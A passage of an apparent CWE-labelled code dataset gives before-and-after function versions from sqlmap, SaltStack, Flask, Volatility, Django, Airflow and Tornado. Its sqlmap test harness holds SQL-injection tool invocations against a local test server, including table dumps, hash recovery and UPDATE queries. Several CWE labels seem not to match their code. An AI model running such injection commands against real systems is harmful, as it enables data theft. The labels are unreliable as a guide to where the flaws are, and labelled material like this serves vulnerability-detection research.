        f.flush()

    base = ""http://%s:%d/"" % (address, port)
    url = ""%s?id=1"" % base
    direct = ""sqlite3://%s"" % database
    tmpdir = tempfile.mkdtemp()

    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.conf""))).read().replace(""url ="", ""url = %s"" % url)
    with open(config, ""w+"") as f:
        f.write(content)
        f.flush()

    content = ""%s?%s=%d\n%s?%s=%d\n%s&%s=1"" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr())
    with open(multiple, ""w+"") as f:
        f.write(content)
        f.flush()

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        if IS_WIN and ""uraj"" in options:
            options = options.replace(u""\u0161u\u0107uraj"", ""sucuraj"")
            checks = [check.replace(u""\u0161u\u0107uraj"", ""sucuraj"") for check in checks]

        for tag, value in ((""<url>"", url), (""<base>"", base), (""<direct>"", direct), (""<tmpdir>"", tmpdir), (""<request>"", request), (""<log>"", log), (""<multiple>"", multiple), (""<config>"", config), (""<base64>"", url.replace(""id=1"", ""id=MZ=%3d""))):
            options = options.replace(tag, value)

        cmd = ""%s \""%s\"" %s --batch --non-interactive --debug"" % (sys.executable if ' ' not in sys.executable else '""%s""' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options)

        if ""<tmpfile>"" in cmd:
            handle, tmp = tempfile.mkstemp()
            os.close(handle)
            cmd = cmd.replace(""<tmpfile>"", tmp)

        output = shellExec(cmd)

        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or ""unhandled exception"" in output:
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % output, coloring=False)
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal","CWE-327, CWE-330",sqlmapproject/sqlmap,aeaa776ca93a99ce0b969e9d0dc336eff751e137,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-h"", (""to see full list of options run with '-hh'"",)),
        (""--dependencies --deprecations"", (""sqlmap requires"", ""third-party library"", ""~DeprecationWarning:"")),
        (""-u <url> --data=\""reflect=1\"" --flush-session --wizard --disable-coloring"", (""Please choose:"", ""back-end DBMS: SQLite"", ""current user is DBA: True"", ""banner: '3."")),
        (""-u <url> --data=\""code=1\"" --code=200 --technique=B --banner --no-cast --flush-session"", (""back-end DBMS: SQLite"", ""banner: '3."", ""~COALESCE(CAST("")),
        (u""-c <config> --flush-session --output-dir=\""<tmpdir>\"" --smart --roles --statements --hostname --privileges --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=U"", (u"": '\u0161u\u0107uraj'"", ""on SQLite it is not possible"", ""as the output directory"")),
        (u""-u <url> --flush-session --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=B --no-escape --string=luther --unstable"", (u"": '\u0161u\u0107uraj'"",)),
        (""-m <multiple> --flush-session --technique=B --banner"", (""/3] URL:"", ""back-end DBMS: SQLite"", ""banner: '3."")),
        (""--dummy"", (""all tested parameters do not appear to be injectable"", ""does not seem to be injectable"", ""there is not at least one"", ""~might be injectable"")),
        (""-u \""<url>&id2=1\"" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\""AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"""", (""~1AND"",)),
        (""--list-tampers"", (""between"", ""MySQL"", ""xforwardedfor"")),
        (""-r <request> --flush-session -v 5 --test-skip=\""heavy\"" --save=<config>"", (""CloudFlare"", ""web application technology: Express"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"", ""saved command line options to the configuration file"")),
        (""-c <config>"", (""CloudFlare"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"")),
        (""-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors"", (""banner: '3."", ""ORDER BY term out of range"", ""~xp_cmdshell"", ""Connection: keep-alive"")),
        (""-l <log> --offline --banner -v 5"", (""banner: '3."", ""~[TRAFFIC OUT]"")),
        (""-u <base> --flush-session --data=\""id=1&_=Eewef6oh\"" --chunked --randomize=_ --random-agent --banner"", (""fetched random HTTP User-Agent header value"", ""Parameter: id (POST)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base64> -p id --base64=id --data=\""base64=true\"" --flush-session --banner --technique=B"", (""banner: '3."",)),
        (""-u <base64> -p id --base64=id --data=\""base64=true\"" --flush-session --tables --technique=U"", ("" users "",)),
        (""-u <url> --flush-session --banner --technique=B --disable-precon --not-string \""no results\"""", (""banner: '3."",)),
        (""-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2"", (""banner: '3.'"",)),
        (""-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base> --flush-session --data=\""{\\\""id\\\"": 1}\"" --banner"", (""might be injectable"", ""3 columns"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base> --flush-session -H \""Foo: Bar\"" -H \""Sna: Fu\"" --data=\""<root><param name=\\\""id\\\"" value=\\\""1*\\\""/></root>\"" --union-char=1 --mobile --answers=\""smartphone=3\"" --banner --smart -v 5"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."", ""Nexus"", ""Sna: Fu"", ""Foo: Bar"")),
        (""-u <base> --flush-session --method=PUT --data=\""a=1;id=1;b=2\"" --param-del=\"";\"" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H \""id: 1*\"" --tables -t <tmpfile>"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\""OR boolean\"" --tamper=space2dash"", (""banner: '3."", "" LIKE "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users"", (""NULL connection is supported with HEAD method"", ""banner: '3."", ""users | 5"")),
        (""-u <url> --flush-session --parse-errors --test-filter=\""subquery\"" --eval=\""import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""WHERE or HAVING clause (subquery"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\""crack=n\"" -v 3"", (""performed 6 queries"", ""nameisnull"", ""~using default dictionary"", ""dumped to HTML file"")),
        (""-u <url> --flush-session --all"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT * FROM users\"""", (""SELECT * FROM users [5]"", ""nameisnull"")),
        (""-u \""<url>&echo=foobar*\"" --flush-session"", (""might be vulnerable to cross-site scripting"",)),
        (""-u \""<url>&query=*\"" --flush-session --technique=Q --banner"", (""Title: SQLite inline queries"", ""banner: '3."")),
        (""-d \""<direct>\"" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"", ""dumped to SQLITE database"")),
        (""-d \""<direct>\"" --flush-session --banner --schema --sql-query=\""UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""5, foobar, nameisnull"", ""'987654321'"",)),
        (""--purge -v 3"", (""~ERROR"", ""~CRITICAL"", ""deleting the whole directory tree"")),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.1"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            s.send(b""GET / HTTP/1.0\r\n\r\n"")
            if b""vulnserver"" in s.recv(4096):
                break
        except:
            time.sleep(1)
        finally:
            s.close()

    handle, config = tempfile.mkstemp(suffix="".conf"")
    os.close(handle)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    handle, log = tempfile.mkstemp(suffix="".log"")
    os.close(handle)

    handle, multiple = tempfile.mkstemp(suffix="".lst"")
    os.close(handle)

    content = ""POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n"" % (address, port)
    with open(request, ""w+"") as f:
        f.write(content)
        f.flush()

    content = '<port>%d</port><request base64=""true""><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False))
    with open(log, ""w+"") as f:
        f.write(content)
        f.flush()

    base = ""http://%s:%d/"" % (address, port)
    url = ""%s?id=1"" % base
    direct = ""sqlite3://%s"" % database
    tmpdir = tempfile.mkdtemp()

    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.conf""))).read().replace(""url ="", ""url = %s"" % url)
    with open(config, ""w+"") as f:
        f.write(content)
        f.flush()

    content = ""%s?%s=%d\n%s?%s=%d\n%s&%s=1"" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr())
    with open(multiple, ""w+"") as f:
        f.write(content)
        f.flush()

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        if IS_WIN and ""uraj"" in options:
            options = options.replace(u""\u0161u\u0107uraj"", ""sucuraj"")
            checks = [check.replace(u""\u0161u\u0107uraj"", ""sucuraj"") for check in checks]

        for tag, value in ((""<url>"", url), (""<base>"", base), (""<direct>"", direct), (""<tmpdir>"", tmpdir), (""<request>"", request), (""<log>"", log), (""<multiple>"", multiple), (""<config>"", config), (""<base64>"", url.replace(""id=1"", ""id=MZ=%3d""))):
            options = options.replace(tag, value)

        cmd = ""%s \""%s\"" %s --batch --non-interactive --debug"" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options)

        if ""<tmpfile>"" in cmd:
            handle, tmp = tempfile.mkstemp()
            os.close(handle)
            cmd = cmd.replace(""<tmpfile>"", tmp)

        output = shellExec(cmd)

        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or ""unhandled exception"" in output:
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % output, coloring=False)
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal"
,UNKNOWN,UNKNOWN,tests/jenkins.py,1,"def download_unittest_reports(options):
    print('Downloading remote unittest reports...')
    sys.stdout.flush()

    workspace = options.workspace
    xml_reports_path = os.path.join(workspace, 'xml-test-reports')
    if os.path.isdir(xml_reports_path):
        shutil.rmtree(xml_reports_path)

    os.makedirs(xml_reports_path)

    cmds = (
        'salt {0} archive.tar zcvf /tmp/xml-test-reports.tar.gz \'*.xml\' cwd=/tmp/xml-unitests-output/',
        'salt {0} cp.push /tmp/xml-test-reports.tar.gz',
        'mv -f /var/cache/salt/master/minions/{1}/files/tmp/xml-test-reports.tar.gz {2} && '
        'tar zxvf {2}/xml-test-reports.tar.gz -C {2}/xml-test-reports && '
        'rm -f {2}/xml-test-reports.tar.gz'
    )

    vm_name = options.download_unittest_reports
    for cmd in cmds:
        cmd = cmd.format(build_minion_target(options, vm_name), vm_name, workspace)
        print('Running CMD: {0}'.format(cmd))
        sys.stdout.flush()

        proc = NonBlockingPopen(
            cmd,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stream_stds=True
        )
        proc.poll_and_read_until_finish()
        proc.communicate()
        if proc.returncode != 0:
            print(
                '\nFailed to execute command. Exit code: {0}'.format(
                    proc.returncode
                )
            )
        time.sleep(0.25)",CWE-78,saltstack/salt,b7be5ef1e9d2c2e5fb89d3a57a24721e9f7e2c78,"def download_unittest_reports(options):
    print('Downloading remote unittest reports...')
    sys.stdout.flush()

    workspace = options.workspace
    xml_reports_path = os.path.join(workspace, 'xml-test-reports')
    if os.path.isdir(xml_reports_path):
        shutil.rmtree(xml_reports_path)

    os.makedirs(xml_reports_path)

    cmds = (
        'salt {0} archive.tar zcvf /tmp/xml-test-reports.tar.gz \'*.xml\' cwd=/tmp/xml-unitests-output/',
        'salt {0} cp.push /tmp/xml-test-reports.tar.gz',
        'mv -f /var/cache/salt/master/minions/{0}/files/tmp/xml-test-reports.tar.gz {1} && '
        'tar zxvf {1}/xml-test-reports.tar.gz -C {1}/xml-test-reports && '
        'rm -f {1}/xml-test-reports.tar.gz'
    )

    vm_name = options.download_unittest_reports
    for cmd in cmds:
        cmd = cmd.format(build_minion_target(options, vm_name), workspace)
        print('Running CMD: {0}'.format(cmd))
        sys.stdout.flush()

        proc = NonBlockingPopen(
            cmd,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stream_stds=True
        )
        proc.poll_and_read_until_finish()
        proc.communicate()
        if proc.returncode != 0:
            print(
                '\nFailed to execute command. Exit code: {0}'.format(
                    proc.returncode
                )
            )
        time.sleep(0.25)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/helpers.py,0,"def test_send_file_object(self):
        app = flask.Flask(__name__)
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                with app.open_resource('static/index.html') as f:
                    self.assert_equal(rv.data, f.read())
                self.assert_equal(rv.mimetype, 'text/html')
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                self.assert_equal(rv.mimetype, 'text/html')
                self.assert_in('x-sendfile', rv.headers)
                self.assert_equal(rv.headers['x-sendfile'],
                    os.path.join(app.root_path, 'static/index.html'))
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = False
        with app.test_request_context():
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'application/octet-stream')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)
            with catch_warnings() as captured:
                class PyStringIO(object):
                    def __init__(self, *args, **kwargs):
                        self._io = StringIO(*args, **kwargs)
                    def __getattr__(self, name):
                        return getattr(self._io, name)
                f = PyStringIO('Test')
                f.name = 'test.txt'
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'text/plain')
                rv.close()
            # attachment_filename and etags
            self.assert_equal(len(captured), 3)
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f, mimetype='text/plain')
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'text/plain')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = StringIO('Test')
                rv = flask.send_file(f)
                self.assert_not_in('x-sendfile', rv.headers)
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)",,pallets/flask,001100bc0b3a700540024c410a985c7f9e09f565,"def test_send_file_object(self):
        app = flask.Flask(__name__)
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                with app.open_resource('static/index.html') as f:
                    self.assert_equal(rv.data, f.read())
                self.assert_equal(rv.mimetype, 'text/html')
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                self.assert_equal(rv.mimetype, 'text/html')
                self.assert_in('x-sendfile', rv.headers)
                self.assert_equal(rv.headers['x-sendfile'],
                    os.path.join(app.root_path, 'static/index.html'))
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = False
        with app.test_request_context():
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'application/octet-stream')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)
            with catch_warnings() as captured:
                class PyStringIO(StringIO):
                    pass
                f = PyStringIO('Test')
                f.name = 'test.txt'
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'text/plain')
                rv.close()
            # attachment_filename and etags
            self.assert_equal(len(captured), 3)
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f, mimetype='text/plain')
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'text/plain')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = StringIO('Test')
                rv = flask.send_file(f)
                self.assert_not_in('x-sendfile', rv.headers)
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/blueprints.py,0,"def register(self, app: ""Flask"", options: dict) -> None:
        """"""Called by :meth:`Flask.register_blueprint` to register all
        views and callbacks registered on the blueprint with the
        application. Creates a :class:`.BlueprintSetupState` and calls
        each :meth:`record` callback with it.

        :param app: The application this blueprint is being registered
            with.
        :param options: Keyword arguments forwarded from
            :meth:`~Flask.register_blueprint`.
        """"""
        first_registration = True

        for blueprint in app.blueprints.values():
            if blueprint is self:
                first_registration = False

        name_prefix = options.get(""name_prefix"", """")
        self_name = options.get(""name"", self.name)
        name = f""{name_prefix}.{self_name}"".lstrip(""."")

        if name in app.blueprints and app.blueprints[name] is not self:
            raise ValueError(
                f""Blueprint name '{self.name}' ""
                f""is already registered by {app.blueprints[self.name]}. ""
                ""Blueprints must have unique names.""
            )

        app.blueprints[name] = self
        self._got_registered_once = True
        state = self.make_setup_state(app, options, first_registration)

        if self.has_static_folder:
            state.add_url_rule(
                f""{self.static_url_path}/<path:filename>"",
                view_func=self.send_static_file,
                endpoint=""static"",
            )

        # Merge blueprint data into parent.
        if first_registration:

            def extend(bp_dict, parent_dict):
                for key, values in bp_dict.items():
                    key = name if key is None else f""{name}.{key}""
                    parent_dict[key].extend(values)

            for key, value in self.error_handler_spec.items():
                key = name if key is None else f""{name}.{key}""
                value = defaultdict(
                    dict,
                    {
                        code: {
                            exc_class: func for exc_class, func in code_values.items()
                        }
                        for code, code_values in value.items()
                    },
                )
                app.error_handler_spec[key] = value

            for endpoint, func in self.view_functions.items():
                app.view_functions[endpoint] = func

            extend(self.before_request_funcs, app.before_request_funcs)
            extend(self.after_request_funcs, app.after_request_funcs)
            extend(
                self.teardown_request_funcs,
                app.teardown_request_funcs,
            )
            extend(self.url_default_functions, app.url_default_functions)
            extend(self.url_value_preprocessors, app.url_value_preprocessors)
            extend(self.template_context_processors, app.template_context_processors)

        for deferred in self.deferred_functions:
            deferred(state)

        cli_resolved_group = options.get(""cli_group"", self.cli_group)

        if self.cli.commands:
            if cli_resolved_group is None:
                app.cli.commands.update(self.cli.commands)
            elif cli_resolved_group is _sentinel:
                self.cli.name = name
                app.cli.add_command(self.cli)
            else:
                self.cli.name = cli_resolved_group
                app.cli.add_command(self.cli)

        for blueprint, bp_options in self._blueprints:
            bp_options = bp_options.copy()
            bp_url_prefix = bp_options.get(""url_prefix"")

            if bp_url_prefix is None:
                bp_url_prefix = blueprint.url_prefix

            if state.url_prefix is not None and bp_url_prefix is not None:
                bp_options[""url_prefix""] = (
                    state.url_prefix.rstrip(""/"") + ""/"" + bp_url_prefix.lstrip(""/"")
                )
            elif bp_url_prefix is not None:
                bp_options[""url_prefix""] = bp_url_prefix
            elif state.url_prefix is not None:
                bp_options[""url_prefix""] = state.url_prefix

            bp_options[""name_prefix""] = name
            blueprint.register(app, bp_options)",,pallets/flask,c2920e2bd98cdb3dcccc2868c25b695d4780c620,"def register(self, app: ""Flask"", options: dict) -> None:
        """"""Called by :meth:`Flask.register_blueprint` to register all
        views and callbacks registered on the blueprint with the
        application. Creates a :class:`.BlueprintSetupState` and calls
        each :meth:`record` callback with it.

        :param app: The application this blueprint is being registered
            with.
        :param options: Keyword arguments forwarded from
            :meth:`~Flask.register_blueprint`.
        """"""
        first_registration = True

        for blueprint in app.blueprints.values():
            if blueprint is self:
                first_registration = False

        name_prefix = options.get(""name_prefix"", """")
        name = f""{name_prefix}.{self.name}"".lstrip(""."")

        if name in app.blueprints and app.blueprints[name] is not self:
            raise ValueError(
                f""Blueprint name '{self.name}' ""
                f""is already registered by {app.blueprints[self.name]}. ""
                ""Blueprints must have unique names.""
            )

        app.blueprints[name] = self
        self._got_registered_once = True
        state = self.make_setup_state(app, options, first_registration)

        if self.has_static_folder:
            state.add_url_rule(
                f""{self.static_url_path}/<path:filename>"",
                view_func=self.send_static_file,
                endpoint=""static"",
            )

        # Merge blueprint data into parent.
        if first_registration:

            def extend(bp_dict, parent_dict):
                for key, values in bp_dict.items():
                    key = name if key is None else f""{name}.{key}""
                    parent_dict[key].extend(values)

            for key, value in self.error_handler_spec.items():
                key = name if key is None else f""{name}.{key}""
                value = defaultdict(
                    dict,
                    {
                        code: {
                            exc_class: func for exc_class, func in code_values.items()
                        }
                        for code, code_values in value.items()
                    },
                )
                app.error_handler_spec[key] = value

            for endpoint, func in self.view_functions.items():
                app.view_functions[endpoint] = func

            extend(self.before_request_funcs, app.before_request_funcs)
            extend(self.after_request_funcs, app.after_request_funcs)
            extend(
                self.teardown_request_funcs,
                app.teardown_request_funcs,
            )
            extend(self.url_default_functions, app.url_default_functions)
            extend(self.url_value_preprocessors, app.url_value_preprocessors)
            extend(self.template_context_processors, app.template_context_processors)

        for deferred in self.deferred_functions:
            deferred(state)

        cli_resolved_group = options.get(""cli_group"", self.cli_group)

        if self.cli.commands:
            if cli_resolved_group is None:
                app.cli.commands.update(self.cli.commands)
            elif cli_resolved_group is _sentinel:
                self.cli.name = name
                app.cli.add_command(self.cli)
            else:
                self.cli.name = cli_resolved_group
                app.cli.add_command(self.cli)

        for blueprint, bp_options in self._blueprints:
            bp_options = bp_options.copy()
            bp_url_prefix = bp_options.get(""url_prefix"")

            if bp_url_prefix is None:
                bp_url_prefix = blueprint.url_prefix

            if state.url_prefix is not None and bp_url_prefix is not None:
                bp_options[""url_prefix""] = (
                    state.url_prefix.rstrip(""/"") + ""/"" + bp_url_prefix.lstrip(""/"")
                )
            elif bp_url_prefix is not None:
                bp_options[""url_prefix""] = bp_url_prefix
            elif state.url_prefix is not None:
                bp_options[""url_prefix""] = state.url_prefix

            bp_options[""name_prefix""] = name
            blueprint.register(app, bp_options)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/proc_maps.py,0,"def render_text(self, outfd, data):
        for task, vma in data:

            mm = task.mm

            if vma.vm_file:
                inode = vma.vm_file.dentry.d_inode
                sb = obj.Object(""super_block"", offset = inode.i_sb, vm = self.addr_space)
                dev = sb.s_dev
                ino = inode.i_ino
                pgoff = vma.vm_pgoff << 12
                fname = linux_common.get_path(task, vma.vm_file)
            else:
                (dev, ino, pgoff) = [0] * 3

                if vma.vm_start <= mm.start_brk and vma.vm_end >= mm.brk:
                    fname = ""[heap]""

                elif vma.vm_start <= mm.start_stack and vma.vm_end >= mm.start_stack:
                    fname = ""[stack]""

                else:
                    fname = """"

            outfd.write(""{0:#8x}-{1:#8x} {2:3} {3:10d} {4:#2d}:{5:#2d} {6:#12d} {7}\n"".format(
                    self.mask_number(vma.vm_start),
                    self.mask_number(vma.vm_end),
                    self.format_perms(vma.vm_flags),
                    pgoff,
                    self.MAJOR(dev),
                    self.MINOR(dev),
                    ino,
                    fname))",,volatilityfoundation/volatility,39150fc6b50e60d85afd5f33afb63f5ca792900c,"def render_text(self, outfd, data):
        for task, vma in data:

            mm = task.mm

            if vma.vm_file:
                inode = vma.vm_file.dentry.d_inode
                sb = obj.Object(""super_block"", offset = inode.i_sb, vm = self.addr_space)
                dev = sb.s_dev
                ino = inode.i_ino
                pgoff = vma.vm_pgoff << 12 # FIXME: 64-bit support
                fname = linux_common.get_path(task, vma.vm_file)
            else:
                (dev, ino, pgoff) = [0] * 3

                if vma.vm_start <= mm.start_brk and vma.vm_end >= mm.brk:
                    fname = ""[heap]""

                elif vma.vm_start <= mm.start_stack and vma.vm_end >= mm.start_stack:
                    fname = ""[stack]""

                else:
                    fname = """"

            outfd.write(""{0:#8x}-{1:#8x} {2:3} {3:10d} {4:#2d}:{5:#2d} {6:#12d} {7}\n"".format(
                    self.mask_number(vma.vm_start),
                    self.mask_number(vma.vm_end),
                    self.format_perms(vma.vm_flags),
                    pgoff,
                    self.MAJOR(dev),
                    self.MINOR(dev),
                    ino,
                    fname))"
,UNKNOWN,UNKNOWN,tests/view_tests/tests/test_debug.py,1,"def test_cleanse_setting_recurses_in_dictionary(self):
        reporter_filter = SafeExceptionReporterFilter()
        initial = {'login': 'cooper', 'password': 'secret'}
        self.assertEqual(
            reporter_filter.cleanse_setting('SETTING_NAME', initial),
            {'login': 'cooper', 'password': reporter_filter.cleansed_substitute},
        )",CWE-259,django/django,9c92924cd5d164701e2514e1c2d6574126bd7cc2,"def test_cleanse_setting_recurses_in_dictionary(self):
        reporter_filter = SafeExceptionReporterFilter()
        initial = {'login': 'cooper', 'password': 'secret'}
        self.assertEqual(
            reporter_filter.cleanse_setting('SETTING_NAME', initial),
            {'login': 'cooper', 'password': reporter_filter.cleansed_substitute},
        )"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/api/test_client.py,1,"def test_taskinstance_set_rtif_success(self, rendered_fields):
        TI_ID = uuid6.uuid7()

        def handle_request(request: httpx.Request) -> httpx.Response:
            if request.url.path == f""/task-instances/{TI_ID}/rtif"":
                return httpx.Response(
                    status_code=201,
                    json={""message"": ""Rendered task instance fields successfully set""},
                )
            return httpx.Response(status_code=400, json={""detail"": ""Bad Request""})

        client = make_client(transport=httpx.MockTransport(handle_request))
        result = client.task_instances.set_rtif(id=TI_ID, body=rendered_fields)

        assert result == OKResponse(ok=True)",CWE-703,apache/airflow,ad4520897748d2ad17bcb468d56754e68b6af4ab,"def test_taskinstance_set_rtif_success(self, rendered_fields):
        TI_ID = uuid6.uuid7()

        def handle_request(request: httpx.Request) -> httpx.Response:
            if request.url.path == f""/task-instances/{TI_ID}/rtif"":
                return httpx.Response(
                    status_code=201,
                    json={""message"": ""Rendered task instance fields successfully set""},
                )
            return httpx.Response(status_code=400, json={""detail"": ""Bad Request""})

        client = make_client(transport=httpx.MockTransport(handle_request))
        result = client.task_instances.set_rtif(id=TI_ID, body=rendered_fields)

        assert result == {""ok"": True}"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/testing.py,0,"def __init__(
        self,
        logger: Union[logging.Logger, basestring_type],
        regex: str,
        required: bool = True,
        level: Optional[int] = None,
    ) -> None:
        """"""Constructs an ExpectLog context manager.

        :param logger: Logger object (or name of logger) to watch.  Pass
            an empty string to watch the root logger.
        :param regex: Regular expression to match.  Any log entries on
            the specified logger that match this regex will be suppressed.
        :param required: If true, an exception will be raised if the end of
            the ``with`` statement is reached without matching any log entries.
        :param level: A constant from the ``logging`` module indicating the
            expected log level. If this parameter is provided, only log messages
            at this level will be considered to match. Additionally, the
            supplied ``logger`` will have its level adjusted if necessary
            (for the duration of the ``ExpectLog`` to enable the expected
            message.

        .. versionchanged:: 6.1
           Added the ``level`` parameter.
        """"""
        if isinstance(logger, basestring_type):
            logger = logging.getLogger(logger)
        self.logger = logger
        self.regex = re.compile(regex)
        self.required = required
        self.matched = False
